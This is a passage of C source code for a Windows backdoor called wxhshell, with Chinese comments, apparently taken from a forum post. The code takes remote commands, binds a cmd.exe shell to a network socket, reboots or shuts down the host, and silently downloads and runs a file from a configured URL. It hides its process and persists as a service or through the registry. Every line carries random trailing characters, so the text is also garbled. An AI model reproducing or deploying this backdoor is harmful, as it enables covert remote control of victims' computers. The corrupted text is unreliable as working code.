  // 帮助 iYw1{U  
  case '?': { ZJhI|wRwD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cG@W o8+  
    break; \LQZoD?W  
  } >f-RzQ k  
  // 安装 QG L~??  
  case 'i': { SJ;{  Hg  
    if(Install()) #}~?8/h!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >){}nlQf  
    else RX^8`}N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H0t#J  
    break; g1y@z8Z{  
    }  => Qd  
  // 卸载 rTJqw@]#WH  
  case 'r': { At[SkG}b  
    if(Uninstall()) maQxU(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7`)RB hGB  
    else ,qV7$u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |m*l/@1  
    break; jG}nOI  
    } \FCPD.2s+  
  // 显示 wxhshell 所在路径 rG[2.\&  
  case 'p': { 1sJz`+\  
    char svExeFile[MAX_PATH]; SymlirL  
    strcpy(svExeFile,"\n\r"); L7xiq{t`Y  
      strcat(svExeFile,ExeFile); *qm>py`O  
        send(wsh,svExeFile,strlen(svExeFile),0); 3Y +;8ld  
    break; A%&lW9z7  
    } Y[rCF=ZVH  
  // 重启 N693eN!  
  case 'b': { )S#?'gt*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y q|OX<i`K  
    if(Boot(REBOOT)) XGYsTquSe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t)O]0) s  
    else { wLE|J9t%Ea  
    closesocket(wsh); j~9Y0jz_  
    ExitThread(0); ~Xr[d07bC  
    } F`Z?$ 1  
    break; Pe11a zJ  
    } j!0-3YKv  
  // 关机 2<AQ{ c  
  case 'd': { K,P`V &m?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #a]\3X  
    if(Boot(SHUTDOWN)) u2I@ fH/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R.GDCGAL  
    else { !SLfAFcS  
    closesocket(wsh); G \$x.  
    ExitThread(0); lm+s5}*%o  
    } g]?>6 %#rA  
    break; e%9zY{ABR%  
    } o?#-Tkb  
  // 获取shell <0Gk:NB,  
  case 's': { O[|X=ZwR:l  
    CmdShell(wsh); #??[;xjs!  
    closesocket(wsh); yU~w Zjw  
    ExitThread(0); %hz5)  
    break; .8[uEQ_L  
  } YWk+}y}^d  
  // 退出 Cw5 B p9  
  case 'x': { $g,v]MW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G6\`Iy68/v  
    CloseIt(wsh); {aU|BdATI  
    break; OU?.}qc<wE  
    } UzV78^:,iD  
  // 离开 >LVGNicQ  
  case 'q': {  -f<}lhmQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $B]_^  
    closesocket(wsh); nH+wU;M  
    WSACleanup(); |#(y?! A^  
    exit(1); g6?5  
    break; @)ls+}=Y  
        } ~*tn|?%  
  } ?MSV3uODb  
  } v*OT[l7  
S++jwP  
  // 提示信息 .W\x{h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A5s;<d0  
} j:HIcCp  
  } ; 2aPhA  
!R[~Z7b6  
  return; (De>k8  
} `2M*?.vk  
T#&X7!4  
// shell模块句柄 @oD2_D2  
int CmdShell(SOCKET sock) 2r@9|}La  
{ K[Vj+qdyl  
STARTUPINFO si; qsYg%Z  
ZeroMemory(&si,sizeof(si)); }LoMS<O-[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _C,9c7K4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UC.kI&A  
PROCESS_INFORMATION ProcessInfo; MIqH%W.r u  
char cmdline[]="cmd"; -\25&m!+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qu;$I'Ul%  
  return 0;  $3cZS  
} Io{BO.K*Y  
MieO1l  
// 自身启动模式 &<- S-e  
int StartFromService(void) Us%g&MWdpb  
{ h%sw^;\!  
typedef struct FRsp?i K)  
{ f @Vd'k<  
  DWORD ExitStatus; ` ^;J<l  
  DWORD PebBaseAddress; 6!([Hu#= *  
  DWORD AffinityMask; *Xh#W7,<  
  DWORD BasePriority; E,Xl8rC  
  ULONG UniqueProcessId; VeOM `jy  
  ULONG InheritedFromUniqueProcessId; |fo#pwX  
}   PROCESS_BASIC_INFORMATION; lWBewnLKE  
@S6@pMo,  
PROCNTQSIP NtQueryInformationProcess; 9I''$DVf  
*] !r T&E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g@Rs.Zq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ST,+]p3L(  
.eyJ<b9  
  HANDLE             hProcess; Emw]`  
  PROCESS_BASIC_INFORMATION pbi; I6,||!sZ  
aq#F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;jBS:k?  
  if(NULL == hInst ) return 0; -C* 6>$A  
~(:0&w%e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KDj/S-S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z/ L%?zH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o'8%5 M@  
:SY,;..3e  
  if (!NtQueryInformationProcess) return 0; &>G8DvfJ9  
!>/J]/4>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RMdU1@  
  if(!hProcess) return 0; QP>F *A  
XV,ce~ro[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tvJl&{-OX  
z 0F55<i  
  CloseHandle(hProcess); Dn#UcMO>W  
qxYCT$1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '$5d6?BC`3  
if(hProcess==NULL) return 0; OF:0jOW  
r> .l^U9hJ  
HMODULE hMod; :Y4Sdj  
char procName[255]; VFm)!'=I  
unsigned long cbNeeded; BgY|v [M&  
'2rSX[$ tf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Pon0(:#1  
L=P8;Gj)  
  CloseHandle(hProcess); I*/:rb  
a)7&2J  
if(strstr(procName,"services")) return 1; // 以服务启动 jHObWUX  
yN06` =  
  return 0; // 注册表启动 ch0cFF^]  
} ;ZkY[5  
\x5>H:\Y  
// 主模块 ad=7FhnIa3  
int StartWxhshell(LPSTR lpCmdLine) o ,xy'  
{ e-.(O8  
  SOCKET wsl; UWdqcOr  
BOOL val=TRUE; q6x}\$mL  
  int port=0; mxe\+j#  
  struct sockaddr_in door; \Rha7O  
Lmw)Ts>  
  if(wscfg.ws_autoins) Install(); 6F%6]n  
% 3fpIzm  
port=atoi(lpCmdLine); ^9YS dFH/  
!~ j9Oc^  
if(port<=0) port=wscfg.ws_port; @Y+kg  
`wSoa#U"@  
  WSADATA data; t{B6W)q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uwt29  
+?5Vuc%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QX_![|=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !A14\  
  door.sin_family = AF_INET; mXsSOAD<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &?']EcU5h9  
  door.sin_port = htons(port); Svs&?B\}{6  
O.aAa5^uh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `[ZA#8Ma  
closesocket(wsl); KCqz]  
return 1; CM `Q((  
} FE#| 5;q.  
dLf ;g}W  
  if(listen(wsl,2) == INVALID_SOCKET) { PC%_^BDW  
closesocket(wsl); g26 l:1P  
return 1; EAF\ 7J*  
} 7mb5z/N  
  Wxhshell(wsl); H 'nLC,  
  WSACleanup(); z3w;W{2Q;V  
Aiqb*v$  
return 0; $A(3-n5=  
9AD0|,g  
} bf\ Uq<&IJ  
%,d+jBM  
// 以NT服务方式启动 9  I&[6}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6\)u\m`7-l  
{ Fo]]j=  
DWORD   status = 0; ZV07;`I  
  DWORD   specificError = 0xfffffff; BpF}H^V-  
y!j>_m){w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t V7{j'If  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !Z;Nv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <F| S<\Y.  
  serviceStatus.dwWin32ExitCode     = 0; :[Ie0[H/M  
  serviceStatus.dwServiceSpecificExitCode = 0; 0s.4]Zg>5  
  serviceStatus.dwCheckPoint       = 0; 7[}WvfN8#  
  serviceStatus.dwWaitHint       = 0; X0KUnxw  
zXd#kw;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HZ\=NDz  
  if (hServiceStatusHandle==0) return; 1DF8-|+  
*`tQX$F  
status = GetLastError(); (. ,{x)H  
  if (status!=NO_ERROR) FWS!b!#,N  
{ "fSK7%BP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]oC7{OoX  
    serviceStatus.dwCheckPoint       = 0; b+71`aD0  
    serviceStatus.dwWaitHint       = 0; hllb\Y)XL  
    serviceStatus.dwWin32ExitCode     = status; _Aw-{HE'  
    serviceStatus.dwServiceSpecificExitCode = specificError; a$G hb]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &hzr(v~;  
    return;  1oG'm  
  } dp:5iuS  
9O:-q[K**  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a#3,qp!  
  serviceStatus.dwCheckPoint       = 0; 1qwJPM  
  serviceStatus.dwWaitHint       = 0; "K*^%{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J {\]ZPs  
} :NWrbfz  
* @&V=l  
// 处理NT服务事件,比如:启动、停止 d,t'e?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &|Vzo@D(!  
{ 0-U%R)Q  
switch(fdwControl) e?dR'*-z  
{ Ly6) ,[q~  
case SERVICE_CONTROL_STOP: RD*.n1N1  
  serviceStatus.dwWin32ExitCode = 0; rVnolA*%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $H7T|`WI.,  
  serviceStatus.dwCheckPoint   = 0; bw[K^/  
  serviceStatus.dwWaitHint     = 0; "=9)|{=m  
  { *&W1|Qkg_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~"vRH  
  } 97VS xhr  
  return; A#w*r-P  
case SERVICE_CONTROL_PAUSE: \J{ %xW>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [b@9V_  
  break; Je~<2EsQ  
case SERVICE_CONTROL_CONTINUE: +/8KN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PvS\  
  break; k #/%#rQM  
case SERVICE_CONTROL_INTERROGATE: ZRoOdo94  
  break; :FI 4GR*?  
};  <:`x> _  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #^< Rx{  
} `z`"0;,7S  
}m-+EUEo9  
// 标准应用程序主函数 .cg"M0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }9(:W</}  
{ /;r k-I  
OW8"7*irT  
// 获取操作系统版本 jX{t/8v/s4  
OsIsNt=GetOsVer(); -8,lXrH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *'ex>4^  
/'>#1J|TlK  
  // 从命令行安装 8w4cqr4m  
  if(strpbrk(lpCmdLine,"iI")) Install(); q|wwfPez7  
pL)o@-k#%  
  // 下载执行文件 Y,C3E>}Dq  
if(wscfg.ws_downexe) { 1\BQq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (8OaXif  
  WinExec(wscfg.ws_filenam,SW_HIDE); \^rAH@  
} *ZA.O  
3_+$x 4%  
if(!OsIsNt) { I:%O`F  
// 如果时win9x,隐藏进程并且设置为注册表启动 A!j6JY.w  
HideProc(); @-Js)zcl q  
StartWxhshell(lpCmdLine); Q[N6#C:(4  
} &B5@\Hd;  
else fo30f =^Gi  
  if(StartFromService()) ~Fd<d[b?  
  // 以服务方式启动 r(QjVLjj`k  
  StartServiceCtrlDispatcher(DispatchTable); :3Hr: ~  
else X(ZouyD<  
  // 普通方式启动 7'9~Kx&+  
  StartWxhshell(lpCmdLine); C@i4[g){  
o Z#4<7K  
return 0; 7 -hSso.'  
}
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只看该作者 1 发表于: 2006-10-10
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